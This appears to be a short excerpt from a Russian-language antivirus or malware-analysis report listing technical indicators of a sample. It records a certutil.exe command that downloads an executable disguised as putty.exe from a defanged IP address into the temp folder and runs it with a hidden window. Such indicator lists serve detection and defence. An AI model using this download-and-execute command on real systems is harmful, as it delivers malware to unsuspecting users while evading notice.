Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://10#.#48.144.16/putty.exe %TEMP%\tpAVtCvq.exe
- %TEMP%\tpavtcvq.exe
- http://10#.#48.144.16/putty.exe
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://10#.#48.144.16/putty.exe %TEMP%\tpAVtCvq.exe' (со скрытым окном)